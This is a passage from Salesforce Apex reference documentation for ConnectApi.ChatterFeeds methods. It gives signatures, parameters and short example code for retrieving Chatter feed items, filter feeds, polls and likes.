getFeedItemsFromFeed(communityId, feedType, subjectId)
Returns the first page of feed items for the specified feed type, for the specified user or record. The page contains the default number
of items.
API Version
28.0–31.0
Important: In version 32.0 and later, use getFeedElementsFromFeed(communityId, feedType, subjectId).
Available to Guest Users
31.0 only
Requires Chatter
Yes
Signature
public static ConnectApi.FeedItemPage getFeedItemsFromFeed(String communityId,
ConnectApi.FeedType feedType, String subjectId)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
916
ChatterFeeds ClassReference
feedType
Type: ConnectApi.FeedType
The type of feed. Valid values include every ConnectApi.FeedType except Company, DirectMessages, Filter,
Home, Moderation, and PendingReview.
subjectId
Type: String
If feedType is Record, subjectId can be any record ID, including a group ID. If feedType is Streams, subjectId
must be a stream ID. If feedType is Topics, subjectId must be a topic ID. If feedType is UserProfile, subjectId
can be any user ID. If the feedType is any other value, subjectId must be the ID of the context user or the alias me.
Return Value
Type: ConnectApi.FeedItemPage
Usage
To test code that uses this method, use the matching set test method (prefix the method name with setTest). Use the set test method
with the same parameters or the code throws an exception.
SEE ALSO:
setTestGetFeedItemsFromFeed(communityId, feedType, subjectId, result)
Testing ConnectApi Code
getFeedItemsFromFeed(communityId, feedType, subjectId, pageParam, pageSize,
sortParam)
Returns the feed items on the specified page for the specified user or record, for the specified feed type in the specified order.
API Version
28.0–31.0
Important: In version 32.0 and later, use getFeedElementsFromFeed(communityId, feedType, subjectId, pageParam, pageSize,
sortParam).
Available to Guest Users
31.0 only
Requires Chatter
Yes
Signature
public static ConnectApi.FeedItemPage getFeedItemsFromFeed(String communityId,
ConnectApi.FeedType feedType, String subjectId, String pageParam, Integer pageSize,
ConnectApi.FeedSortOrder sortParam)
917
ChatterFeeds ClassReference
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
feedType
Type: ConnectApi.FeedType
The type of feed. Valid values include every ConnectApi.FeedType except Company, DirectMessages, Filter,
Home, Moderation, and PendingReview.
subjectId
Type: String
If feedType is Record, subjectId can be any record ID, including a group ID. If feedType is Streams, subjectId
must be a stream ID. If feedType is Topics, subjectId must be a topic ID. If feedType is UserProfile, subjectId
can be any user ID. If the feedType is any other value, subjectId must be the ID of the context user or the alias me.
pageParam
Type: String
The page token to use to view the page. Page tokens are returned as part of the response class, for example, currentPageToken
or nextPageToken. If you pass in null, the first page is returned.
pageSize
Type: Integer
Specifies the number of feed items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
sortParam
Type: ConnectApi.FeedSortOrder
Values are:
•CreatedDateDesc—Sorts by most recent creation date.
•LastModifiedDateDesc—Sorts by most recent activity.
•MostViewed—Sorts by most viewed content. This sort order is available only for Home feeds when the
ConnectApi.FeedFilter is UnansweredQuestions.
•Relevance—Sorts by most relevant content. This sort order is available only for Company, Home, and Topics feeds.
Sorts the returned feed by the most recently created feed item, or by the most recently modified feed item. If you pass in null,
the default value CreatedDateDesc is used.
Return Value
Type: ConnectApi.FeedItemPage
Usage
To test code that uses this method, use the matching set test method (prefix the method name with setTest). Use the set test method
with the same parameters or the code throws an exception.
SEE ALSO:
setTestGetFeedItemsFromFeed(communityId, feedType, subjectId, pageParam, pageSize, sortParam, result)
Testing ConnectApi Code
918
ChatterFeeds ClassReference
getFeedItemsFromFeed(communityId, feedType, subjectId, recentCommentCount,
density, pageParam, pageSize, sortParam)
Returns the feed items on the specified page for the specified user or record, for the specified feed type in the specified order. Each feed
item includes no more than the specified number of comments.
API Version
29.0–31.0
Important: In version 32.0 and later, use getFeedElementsFromFeed(communityId, feedType, subjectId, recentCommentCount,
density, pageParam, pageSize, sortParam).
Available to Guest Users
31.0 only
Requires Chatter
Yes
Signature
public static ConnectApi.FeedItemPage getFeedItemsFromFeed(String communityId,
ConnectApi.FeedType feedType, String subjectId, Integer recentCommentCount,
ConnectApi.FeedDensity density, String pageParam, Integer pageSize,
ConnectApi.FeedSortOrder sortParam)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
feedType
Type: ConnectApi.FeedType
The type of feed. Valid values include every ConnectApi.FeedType except Company, DirectMessages, Filter,
Home, Moderation, and PendingReview.
subjectId
Type: String
If feedType is Record, subjectId can be any record ID, including a group ID. If feedType is Streams, subjectId
must be a stream ID. If feedType is Topics, subjectId must be a topic ID. If feedType is UserProfile, subjectId
can be any user ID. If the feedType is any other value, subjectId must be the ID of the context user or the alias me.
recentCommentCount
Type: Integer
The maximum number of comments to return with each feed item. The default value is 3.
density
Type: ConnectApi.FeedDensity
Specify the amount of content in a feed.
919
ChatterFeeds ClassReference
•AllUpdates—Displays all updates from people and records the user follows and groups the user is a member of.
•FewerUpdates—Displays all updates from people and records the user follows and groups the user is a member of, but
hides some system-generated updates from records.
pageParam
Type: String
The page token to use to view the page. Page tokens are returned as part of the response class, for example, currentPageToken
or nextPageToken. If you pass in null, the first page is returned.
pageSize
Type: Integer
Specifies the number of feed items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
sortParam
Type: ConnectApi.FeedSortOrder
Values are:
•CreatedDateDesc—Sorts by most recent creation date.
•LastModifiedDateDesc—Sorts by most recent activity.
•MostViewed—Sorts by most viewed content. This sort order is available only for Home feeds when the
ConnectApi.FeedFilter is UnansweredQuestions.
•Relevance—Sorts by most relevant content. This sort order is available only for Company, Home, and Topics feeds.
Sorts the returned feed by the most recently created feed item, or by the most recently modified feed item. If you pass in null,
the default value CreatedDateDesc is used.
Return Value
Type: ConnectApi.FeedItemPage
Usage
To test code that uses this method, use the matching set test method (prefix the method name with setTest). Use the set test method
with the same parameters or the code throws an exception.
SEE ALSO:
setTestGetFeedItemsFromFeed(communityId, feedType, subjectId, recentCommentCount, density, pageParam, pageSize, sortParam,
result)
Testing ConnectApi Code
getFeedItemsFromFeed(communityId, feedType, subjectId, recentCommentCount,
density, pageParam, pageSize, sortParam, showInternalOnly)
Returns the feed items on the specified page for the specified user or record, for the Record feed type in the specified order. Each
feed item includes no more than the specified number of comments. Specify whether to return feed items posted by internal
(non-community) users only.
API Version
30.0–31.0
920
ChatterFeeds ClassReference
Important: In version 32.0 and later, use getFeedElementsFromFeed(communityId, feedType, subjectId, recentCommentCount,
density, pageParam, pageSize, sortParam, showInternalOnly).
Available to Guest Users
31.0 only
Requires Chatter
Yes
Signature
public static ConnectApi.FeedItemPage getFeedItemsFromFeed(String communityId,
ConnectApi.FeedType feedType, String subjectId, Integer recentCommentCount,
ConnectApi.FeedDensity density, String pageParam, Integer pageSize,
ConnectApi.FeedSortOrder sortParam, Boolean showInternalOnly)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
feedType
Type: ConnectApi.FeedType
Value must be ConnectApi.FeedType.Record.
subjectId
Type: String
Any record ID, including a group ID.
recentCommentCount
Type: Integer
The maximum number of comments to return with each feed item. The default value is 3.
density
Type: ConnectApi.FeedDensity
Specify the amount of content in a feed.
•AllUpdates—Displays all updates from people and records the user follows and groups the user is a member of.
•FewerUpdates—Displays all updates from people and records the user follows and groups the user is a member of, but
hides some system-generated updates from records.
pageParam
Type: String
The page token to use to view the page. Page tokens are returned as part of the response class, for example, currentPageToken
or nextPageToken. If you pass in null, the first page is returned.
pageSize
Type: Integer
921
ChatterFeeds ClassReference
Specifies the number of feed items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
sortParam
Type: ConnectApi.FeedSortOrder
Values are:
•CreatedDateDesc—Sorts by most recent creation date.
•LastModifiedDateDesc—Sorts by most recent activity.
•MostViewed—Sorts by most viewed content. This sort order is available only for Home feeds when the
ConnectApi.FeedFilter is UnansweredQuestions.
•Relevance—Sorts by most relevant content. This sort order is available only for Company, Home, and Topics feeds.
Sorts the returned feed by the most recently created feed item, or by the most recently modified feed item. If you pass in null,
the default value CreatedDateDesc is used.
showInternalOnly
Type: Boolean
Specifies whether to show only feed items from internal (non-community) users (true), or not (false). The default value is
false.
Return Value
Type: ConnectApi.FeedItemPage
Usage
To test code that uses this method, use the matching set test method (prefix the method name with setTest). Use the set test method
with the same parameters or the code throws an exception.
SEE ALSO:
setTestGetFeedItemsFromFeed(communityId, feedType, subjectId, recentCommentCount, density, pageParam, pageSize, sortParam,
showInternalOnly, result)
Testing ConnectApi Code
getFeedItemsFromFilterFeed(communityId, subjectId, keyPrefix)
Returns the first page of feed items for the specified user and the specified key prefix. The page contains the default number of items.
API Version
28.0–31.0
Important: In version 32.0 and later, use getFeedElementsFromFilterFeed(communityId, subjectId, keyPrefix).
Requires Chatter
Yes
922
ChatterFeeds ClassReference
Signature
public static ConnectApi.FeedItemPage getFeedItemsFromFilterFeed(String communityId,
String subjectId, String keyPrefix)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
subjectId
Type: String
The ID of the context user or the alias me.
keyPrefix
Type: String
A key prefix that specifies record type. A key prefix is the first three characters in the object ID, which specifies the object type. For
example, User objects have a prefix of 005 and Group objects have a prefix of 0F9.
Return Value
Type: ConnectApi.FeedItemPage
Usage
To test code that uses this method, use the matching set test method (prefix the method name with setTest). Use the set test method
with the same parameters or the code throws an exception.
SEE ALSO:
setTestGetFeedItemsFromFilterFeed(communityId, subjectId, keyPrefix, result)
Testing ConnectApi Code
getFeedItemsFromFilterFeed(communityId, subjectId, keyPrefix, pageParam,
pageSize, sortParam)
Returns the specified page of feed items for the specified user and the specified key prefix, in the specified order.
API Version
28.0–31.0
Important: In version 32.0 and later, use getFeedElementsFromFilterFeed(communityId, subjectId, keyPrefix, pageParam, pageSize,
sortParam).
Requires Chatter
Yes
923
ChatterFeeds ClassReference
Signature
public static ConnectApi.FeedItemPage getFeedItemsFromFilterFeed(String communityId,
String subjectId, String keyPrefix, String pageParam, Integer pageSize,
ConnectApi.FeedSortOrder sortParam)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
subjectId
Type: String
The ID of the context user or the alias me.
keyPrefix
Type: String
A key prefix that specifies record type. A key prefix is the first three characters in the object ID, which specifies the object type. For
example, User objects have a prefix of 005 and Group objects have a prefix of 0F9.
pageParam
Type: String
The page token to use to view the page. Page tokens are returned as part of the response class, for example, currentPageToken
or nextPageToken. If you pass in null, the first page is returned.
pageSize
Type: Integer
Specifies the number of feed items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
sortParam
Type: ConnectApi.FeedSortOrder
Values are:
•CreatedDateDesc—Sorts by most recent creation date.
•LastModifiedDateDesc—Sorts by most recent activity.
•MostViewed—Sorts by most viewed content. This sort order is available only for Home feeds when the
ConnectApi.FeedFilter is UnansweredQuestions.
•Relevance—Sorts by most relevant content. This sort order is available only for Company, Home, and Topics feeds.
Sorts the returned feed by the most recently created feed item, or by the most recently modified feed item. If you pass in null,
the default value CreatedDateDesc is used.
Return Value
Type: ConnectApi.FeedItemPage
924
ChatterFeeds ClassReference
Usage
To test code that uses this method, use the matching set test method (prefix the method name with setTest). Use the set test method
with the same parameters or the code throws an exception.
SEE ALSO:
setTestGetFeedItemsFromFilterFeed(communityId, subjectId, keyPrefix, pageParam, pageSize, sortParam, result)
Testing ConnectApi Code
getFeedItemsFromFilterFeed(communityId, subjectId, keyPrefix,
recentCommentCount, density, pageParam, pageSize, sortParam)
Returns the specified page of feed items for the specified user and the specified key prefix, in the specified order. Each feed item contains
no more than the specified number of comments.
API Version
29.0–31.0
Important: In version 32.0 and later, use getFeedElementsFromFilterFeed(communityId, subjectId, keyPrefix, recentCommentCount,
elementsPerBundle, density, pageParam, pageSize, sortParam).
Requires Chatter
Yes
Signature
public static ConnectApi.FeedItemPage getFeedItemsFromFilterFeed(String communityId,
String subjectId, String keyPrefix, Integer recentCommentCount, ConnectApi.FeedDensity
density, String pageParam, Integer pageSize, ConnectApi.FeedSortOrder sortParam)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
subjectId
Type: String
The ID of the context user or the alias me.
keyPrefix
Type: String
A key prefix that specifies record type. A key prefix is the first three characters in the object ID, which specifies the object type. For
example, User objects have a prefix of 005 and Group objects have a prefix of 0F9.
recentCommentCount
Type: Integer
The maximum number of comments to return with each feed item. The default value is 3.
925
ChatterFeeds ClassReference
density
Type: ConnectApi.FeedDensity
Specify the amount of content in a feed.
•AllUpdates—Displays all updates from people and records the user follows and groups the user is a member of.
•FewerUpdates—Displays all updates from people and records the user follows and groups the user is a member of, but
hides some system-generated updates from records.
pageParam
Type: String
The page token to use to view the page. Page tokens are returned as part of the response class, for example, currentPageToken
or nextPageToken. If you pass in null, the first page is returned.
pageSize
Type: Integer
Specifies the number of feed items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
sortParam
Type: ConnectApi.FeedSortOrder
Values are:
•CreatedDateDesc—Sorts by most recent creation date.
•LastModifiedDateDesc—Sorts by most recent activity.
•MostViewed—Sorts by most viewed content. This sort order is available only for Home feeds when the
ConnectApi.FeedFilter is UnansweredQuestions.
•Relevance—Sorts by most relevant content. This sort order is available only for Company, Home, and Topics feeds.
Sorts the returned feed by the most recently created feed item, or by the most recently modified feed item. If you pass in null,
the default value CreatedDateDesc is used.
Return Value
Type: ConnectApi.FeedItemPage
Usage
To test code that uses this method, use the matching set test method (prefix the method name with setTest). Use the set test method
with the same parameters or the code throws an exception.
SEE ALSO:
setTestGetFeedItemsFromFilterFeed(communityId, subjectId, keyPrefix, recentCommentCount, density, pageParam, pageSize,
sortParam, result)
Testing ConnectApi Code
getFeedItemsFromFilterFeedUpdatedSince(communityId, subjectId, keyPrefix,
recentCommentCount, density, pageParam, pageSize, updatedSince)
Returns the specified page of feed items for the specified user and the specified key prefix. Includes only feed items that have been
updated since the time specified in the updatedSince parameter.
926
ChatterFeeds ClassReference
API Version
30.0–31.0
Important: In version 32.0 and later, use getFeedElementsFromFilterFeedUpdatedSince(communityId, subjectId, keyPrefix,
recentCommentCount, elementsPerClump, density, pageParam, pageSize, updatedSince).
Requires Chatter
Yes
Signature
public static ConnectApi.FeedItemPage getFeedItemsFromFilterFeedUpdatedSince(String
communityId, String subjectId, String keyPrefix, Integer recentCommentCount,
ConnectApi.FeedDensity density, String pageParam, Integer pageSize, String updatedSince)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
subjectId
Type: String
The ID of the context user or the alias me.
keyPrefix
Type: String
A key prefix that specifies record type. A key prefix is the first three characters in the object ID, which specifies the object type. For
example, User objects have a prefix of 005 and Group objects have a prefix of 0F9.
recentCommentCount
Type: Integer
The maximum number of comments to return with each feed item. The default value is 3.
density
Type: ConnectApi.FeedDensity
Specify the amount of content in a feed.
•AllUpdates—Displays all updates from people and records the user follows and groups the user is a member of.
•FewerUpdates—Displays all updates from people and records the user follows and groups the user is a member of, but
hides some system-generated updates from records.
pageParam
Type: String
The page token to use to view the page. Page tokens are returned as part of the response class, for example, currentPageToken
or nextPageToken. If you pass in null, the first page is returned.
pageSize
Type: Integer
Specifies the number of feed items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
927
ChatterFeeds ClassReference
updatedSince
Type: String
An opaque token containing information about the last modified date of the feed. Do not construct this token. To retrieve this token,
call getFeedItemsFromFilterFeed and take the value from the updatesToken property of the
ConnectApi.FeedItemPage response body.
Return Value
Type: ConnectApi.FeedItemPage
A paged collection of ConnectApi.FeedItem objects.
Usage
This method returns only feed items that have been updated since the time specified in the updatedSince argument. A feed item
is considered to be updated if it was created since the last feed request, or if sort=LastModifiedDateDesc and a comment
was added to the feed item since the last feed request. Adding likes and topics doesn’t update a feed item.
To test code that uses this method, use the matching set test method (prefix the method name with setTest). Use the set test method
with the same parameters or the code throws an exception.
SEE ALSO:
setTestGetFeedItemsFromFilterFeedUpdatedSince(communityId, subjectId, keyPrefix, recentCommentCount, density, pageParam,
pageSize, sortParam, updatedSince, result)
Testing ConnectApi Code
getFeedItemsUpdatedSince(communityId, feedType, recentCommentCount, density,
pageParam, pageSize, updatedSince)
Returns the specified page of feed items for the Company, Home, and Moderation feed types. Includes only feed items that have
been updated since the time specified in the updatedSince parameter. Each feed item contains no more than the specified number
of comments.
API Version
30.0–31.0
Important: In version 32.0 and later, use getFeedElementsUpdatedSince(communityId, feedType, recentCommentCount, density,
pageParam, pageSize, updatedSince).
Available to Guest Users
31.0 only
Requires Chatter
Yes
928
ChatterFeeds ClassReference
Signature
public static ConnectApi.FeedItemPage getFeedItemsUpdatedSince(String communityId,
ConnectApi.FeedType feedType, Integer recentCommentCount, ConnectApi.FeedDensity density,
String pageParam, Integer pageSize, String updatedSince)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
feedType
Type: ConnectApi.FeedType
The type of feed. Valid values are Company, DirectMessages, Home, Moderation, and PendingReview.
recentCommentCount
Type: Integer
The maximum number of comments to return with each feed item. The default value is 3.
density
Type: ConnectApi.FeedDensity
Specify the amount of content in a feed.
•AllUpdates—Displays all updates from people and records the user follows and groups the user is a member of.
•FewerUpdates—Displays all updates from people and records the user follows and groups the user is a member of, but
hides some system-generated updates from records.
pageParam
Type: String
The page token to use to view the page. Page tokens are returned as part of the response class, for example, currentPageToken
or nextPageToken. If you pass in null, the first page is returned.
pageSize
Type: Integer
Specifies the number of feed items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
updatedSince
Type: String
An opaque token containing information about the last modified date of the feed. Do not construct this token. Retrieve this token
from the updatesToken property of the ConnectApi.FeedItemPage response body.
Return Value
Type: ConnectApi.FeedItemPage
A paged collection of ConnectApi.FeedItem objects.
Usage
This method returns only feed items that have been updated since the time specified in the updatedSince argument. A feed item
is considered to be updated if it was created since the last feed request, or if sort=LastModifiedDateDesc and a comment
was added to the feed item since the last feed request. Adding likes and topics doesn’t update a feed item.
929
ChatterFeeds ClassReference
To test code that uses this method, use the matching set test method (prefix the method name with setTest). Use the set test method
with the same parameters or the code throws an exception.
Example
This example gets the feed items in the company feed and grabs the updatesToken property from the returned object. It then
passes the value of updatesToken to the getFeedItemsUpdatedSince method to get the feed items updated since the
first call:
// Get the feed items in the company feed and return the updatesToken
String communityId = null;
// Get the feed and extract the update token
ConnectApi.FeedItemPage page = ConnectApi.ChatterFeeds.getFeedItemsFromFeed(communityId,
ConnectApi.FeedType.Company);
// page.updatesToken is opaque and has a value like '2:1384549034000'
// Get the feed items that changed since the provided updatesToken
ConnectApi.FeedItemPage feedItems= ConnectApi.ChatterFeeds.getFeedItemsUpdatedSince
(communityId, ConnectApi.FeedType.Company, 1, ConnectApi.FeedDensity.AllUpdates, null,
1, page.updatesToken);
SEE ALSO:
setTestGetFeedItemsUpdatedSince(communityId, feedType, recentCommentCount, density, pageParam, pageSize, updatedSince,
ConnectApi.FeedItemPage, results)
Testing ConnectApi Code
getFeedItemsUpdatedSince(communityId, feedType, subjectId, recentCommentCount,
density, pageParam, pageSize, updatedSince)
Returns the specified page of feed items for the Files, Groups, News, People, and Record feed types. Includes only feed
items that have been updated since the time specified in the updatedSince parameter. Each feed item contains no more than the
specified number of comments.
API Version
30.0–31.0
Important: In version 32.0 and later, use getFeedElementsUpdatedSince(communityId, feedType, subjectId, recentCommentCount,
density, pageParam, pageSize, updatedSince).
Available to Guest Users
31.0 only
Requires Chatter
Yes
930
ChatterFeeds ClassReference
Signature
public static ConnectApi.FeedItemPage getFeedItemsUpdatedSince(String communityId,
ConnectApi.FeedType feedType, String subjectId, Integer recentCommentCount,
ConnectApi.FeedDensity density, String pageParam, Integer pageSize, String updatedSince)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
feedType
Type: ConnectApi.FeedType
One of these values:
•Files
•Groups
•News
•People
•Record
subjectId
Type: String
If feedType is ConnectApi.Record, subjectId can be any record ID, including a group ID. Otherwise, it must be the
context user or the alias me.
recentCommentCount
Type: Integer
The maximum number of comments to return with each feed item. The default value is 3.
density
Type: ConnectApi.FeedDensity
Specify the amount of content in a feed.
•AllUpdates—Displays all updates from people and records the user follows and groups the user is a member of.
•FewerUpdates—Displays all updates from people and records the user follows and groups the user is a member of, but
hides some system-generated updates from records.
pageParam
Type: String
The page token to use to view the page. Page tokens are returned as part of the response class, for example, currentPageToken
or nextPageToken. If you pass in null, the first page is returned.
pageSize
Type: Integer
Specifies the number of feed items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
updatedSince
Type: String
An opaque token containing information about the last modified date of the feed. Do not construct this token. Retrieve this token
from the updatesToken property of the ConnectApi.FeedItemPage response body.
931
ChatterFeeds ClassReference
Return Value
Type: ConnectApi.FeedItemPage
A paged collection of ConnectApi.FeedItem objects.
Usage
This method returns only feed items that have been updated since the time specified in the updatedSince argument. A feed item
is considered to be updated if it was created since the last feed request, or if sort=LastModifiedDateDesc and a comment
was added to the feed item since the last feed request. Adding likes and topics doesn’t update a feed item.
To test code that uses this method, use the matching set test method (prefix the method name with setTest). Use the set test method
with the same parameters or the code throws an exception.
Example
This example gets the feed items in the news feed and grabs the updatesToken property from the returned object. It then passes
the value of updatesToken to the getFeedItemsUpdatedSince method to get the feed items updated since the first call:
// Get the feed items in the news feed and return the updatesToken
String communityId = null;
String subjectId = 'me';
// Get the feed and extract the update token
ConnectApi.FeedItemPage page = ConnectApi.ChatterFeeds.getFeedItemsFromFeed(communityId,
ConnectApi.FeedType.News, subjectId);
// page.updatesToken is opaque and has a value like '2:1384549034000'
// Get the feed items that changed since the provided updatesToken
ConnectApi.FeedItemPage feedItems= ConnectApi.ChatterFeeds.getFeedItemsUpdatedSince
(communityId, ConnectApi.FeedType.News, subjectId, 1, ConnectApi.FeedDensity.AllUpdates,
null, 1, page.updatesToken);
SEE ALSO:
setTestGetFeedItemsUpdatedSince(communityId, feedType, subjectId, recentCommentCount, density, pageParam, pageSize,
updatedSince, result)
Testing ConnectApi Code
getFeedItemsUpdatedSince(communityId, feedType, subjectId, recentCommentCount,
density, pageParam, pageSize, updatedSince, showInternalOnly)
Returns the specified page of feed items for the Record feed type. Includes only feed items that have been updated since the time
specified in the updatedSince parameter. Specify whether to return feed items posted by internal (non-community) users only.
API Version
30.0–31.0
Important: In version 32.0 and later, use getFeedElementsUpdatedSince(communityId, feedType, subjectId, recentCommentCount,
density, pageParam, pageSize, updatedSince, showInternalOnly).
932
ChatterFeeds ClassReference
Available to Guest Users
31.0 only
Requires Chatter
Yes
Signature
public static ConnectApi.FeedItemPage getFeedItemsUpdatedSince(String communityId,
ConnectApi.FeedType feedType, String subjectId, Integer recentCommentCount,
ConnectApi.FeedDensity density, String pageParam, Integer pageSize, String updatedSince,
Boolean showInternalOnly)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
feedType
Type: ConnectApi.FeedType
Value must be ConnectApi.FeedType.Record.
subjectId
Type: String
Any record ID, including a group ID.
recentCommentCount
Type: Integer
The maximum number of comments to return with each feed item. The default value is 3.
density
Type: ConnectApi.FeedDensity
Specify the amount of content in a feed.
•AllUpdates—Displays all updates from people and records the user follows and groups the user is a member of.
•FewerUpdates—Displays all updates from people and records the user follows and groups the user is a member of, but
hides some system-generated updates from records.
pageParam
Type: String
The page token to use to view the page. Page tokens are returned as part of the response class, for example, currentPageToken
or nextPageToken. If you pass in null, the first page is returned.
pageSize
Type: Integer
Specifies the number of feed items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
updatedSince
Type: String
933
ChatterFeeds ClassReference
An opaque token containing information about the last modified date of the feed. Do not construct this token. Retrieve this token
from the updatesToken property of the ConnectApi.FeedItemPage response body.
showInternalOnly
Type: Boolean
Specifies whether to show only feed items from internal (non-community) users (true), or not (false). The default value is
false.
Return Value
Type: ConnectApi.FeedItemPage
A paged collection of ConnectApi.FeedItem objects.
Usage
This method returns only feed items that have been updated since the time specified in the updatedSince argument. A feed item
is considered to be updated if it was created since the last feed request, or if sort=LastModifiedDateDesc and a comment
was added to the feed item since the last feed request. Adding likes and topics doesn’t update a feed item.
If showInternalOnly is true and Communities is enabled, feed items from communities are included. Otherwise, only feed
items from the internal community are included.
To test code that uses this method, use the matching set test method (prefix the method name with setTest). Use the set test method
with the same parameters or the code throws an exception.
Example
This example gets the feed items in the news feed and grabs the updatesToken property from the returned object. It then passes
the value of updatesToken to the getFeedItemsUpdatedSince method to get the feed items updated since the first call:
// Get the feed items in the news feed and return the updatesToken
String communityId = null;
String subjectId = 'me';
// Get the feed and extract the update token
ConnectApi.FeedItemPage page = ConnectApi.ChatterFeeds.getFeedItemsFromFeed(communityId,
ConnectApi.FeedType.News, subjectId);
// page.updatesToken is opaque and has a value like '2:1384549034000'
// Get the feed items that changed since the provided updatesToken
ConnectApi.FeedItemPage feedItems= ConnectApi.ChatterFeeds.getFeedItemsUpdatedSince
(communityId, ConnectApi.FeedType.News, subjectId, 1, ConnectApi.FeedDensity.AllUpdates,
null, 1, page.updatesToken, true);
SEE ALSO:
setTestGetFeedItemsUpdatedSince(communityId, feedType, subjectId, recentCommentCount, density, pageParam, pageSize,
updatedSince, showInternalOnly, result)
Testing ConnectApi Code
934
ChatterFeeds ClassReference
getFeedPoll(communityId, feedItemId)
Returns the poll associated with the feed item.
API Version
28.0–31.0
Important: In version 32.0 and later, use getFeedElementPoll(communityId, feedElementId).
Requires Chatter
Yes
Signature
public static ConnectApi.FeedPoll getFeedPoll(String communityId, String feedItemId)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
feedItemId
Type: String
The ID for a feed item.
Return Value
Type: ConnectApi.FeedPoll
Note: Triggers on FeedItem objects run before their attachment and capabilities information is saved, which means that
ConnectApi.FeedItem.attachment information and ConnectApi.FeedElement.capabilities information
may not be available in the trigger.
getFilterFeed(communityId, subjectId, keyPrefix)
Returns the first page of a feed for the specified user and the given key prefix.
API Version
28.0
Requires Chatter
Yes
Signature
public static ConnectApi.Feed getFilterFeed(String communityId, String subjectId, String
keyPrefix)
935
ChatterFeeds ClassReference
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
subjectId
Type: String
The ID of the context user or the alias me.
keyPrefix
Type: String
A key prefix is the first three characters of a record ID, which specifies the entity type.
Return Value
Type: ConnectApi.Feed
getFilterFeed(communityId, subjectId, keyPrefix, sortParam)
Returns the first page of a feed in the specified order for the specified user and the given key prefix.
API Version
28.0
Requires Chatter
Yes
Signature
public static ConnectApi.Feed getFilterFeed(String communityId, String subjectId, String
keyPrefix, ConnectApi.FeedType sortParam)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
subjectId
Type: String
The ID of the context user or the alias me.
keyPrefix
Type: String
A key prefix that specifies record type. A key prefix is the first three characters in the object ID, which specifies the object type. For
example, User objects have a prefix of 005 and Group objects have a prefix of 0F9.
sortParam
Type: ConnectApi.FeedType
936
ChatterFeeds ClassReference
Values are:
•CreatedDateDesc—Sorts by most recent creation date.
•LastModifiedDateDesc—Sorts by most recent activity.
•MostViewed—Sorts by most viewed content. This sort order is available only for Home feeds when the
ConnectApi.FeedFilter is UnansweredQuestions.
•Relevance—Sorts by most relevant content. This sort order is available only for Company, Home, and Topics feeds.
If you pass in null, the default value CreatedDateDesc is used.
Return Value
Type: ConnectApi.Feed
getFilterFeedDirectory(communityId, subjectId)
Gets a feed directory object that contains a list of filter feeds available to the context user. A filter feed is the news feed filtered to include
feed items whose parent is a specific entity type.
API Version
30.0
Requires Chatter
Yes
Signature
public static ConnectApi.FeedDirectory getFilterFeedDirectory(String communityId, String
subjectId)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
subjectId
Type: String
The ID of the context user or the alias me.
Return Value
Type: ConnectApi.FeedDirectory
A directory containing a list of filter feeds.
937
ChatterFeeds ClassReference
Usage
Call this method to return a directory containing a list of ConnectApi.FeedDirectoryItem objects. Each object contains a
key prefix associated with an entity type the context user is following. A key prefix is the first three characters of a record ID, which specifies
the entity type.
Use the key prefixes to filter the news feed so that it contains only feed items whose parent is the entity type associated with the key
prefix, for example, get all the feed items whose parent is an Account. To get the feed items, pass a key prefix to the
ConnectApi.getFeedItemsFromFilterFeed method.
The information about filter feeds never contains the key prefixes for the User (005) or Group (0F9) entity types, but all users can use
those key prefixes as filters.
The ConnectApi.FeedDirectory.favorites property is always empty when returned by a call to
getFilterFeedDirectory because you can’t filter a news feed by favorites.
Example
This example calls getFilterFeedDirectory and loops through the returned FeedDirectoryItem objects to find the
key prefixes the context user can use to filter their news feed. It then copies each keyPrefix value to a list. Finally, it passes one of
the key prefixes from the list to the getFeedItemsFromFilterFeed method. The returned feed items include every feed item
from the news feed whose parent is the entity type specified by the passed key prefix.
String communityId = null;
String subjectId = 'me';
// Create a list to populate with key prefixes.
List<String> keyPrefixList = new List<String>();
// Prepopulate with User and Group record types
// which are available to all users.
keyPrefixList.add('005');
keyPrefixList.add('0F9');
System.debug(keyPrefixList);
// Get the key prefixes available to the context user.
ConnectApi.FeedDirectory myFeedDirectory =
ConnectApi.ChatterFeeds.getFilterFeedDirectory(null,'me');
// Loop through the returned feeds list.
for (ConnectApi.FeedDirectoryItem i : myFeedDirectory.feeds) {
// Grab each key prefix and add it to the list.
keyPrefixList.add(i.keyPrefix);
}
System.debug(keyPrefixList);
// Use a key prefix from the list to filter the feed items in the news feed.
ConnectApi.FeedItemPage myFeedItemPage =
ConnectApi.ChatterFeeds.getFeedItemsFromFilterFeed(communityId, subjectId,
keyPrefixList[0]);
System.debug(myFeedItemPage);
938
ChatterFeeds ClassReference
getLike(communityId, likeId)
Returns the specified like.
API Version
28.0
Available to Guest Users
32.0
Requires Chatter
Yes
Signature
public static ConnectApi.ChatterLike getLike(String communityId, String likeId)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
likeId
Type: String
The ID for a like.
Return Value
Type: ConnectApi.ChatterLike
getLikesForComment(communityId, commentId)
Returns the first page of likes for the specified comment. The page contains the default number of items.
API Version
28.0
Available to Guest Users
31.0
Requires Chatter
Yes
939
ChatterFeeds ClassReference
Signature
public static ConnectApi.ChatterLikePage getLikesForComment(String communityId, String
commentId)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
commentId
Type: String
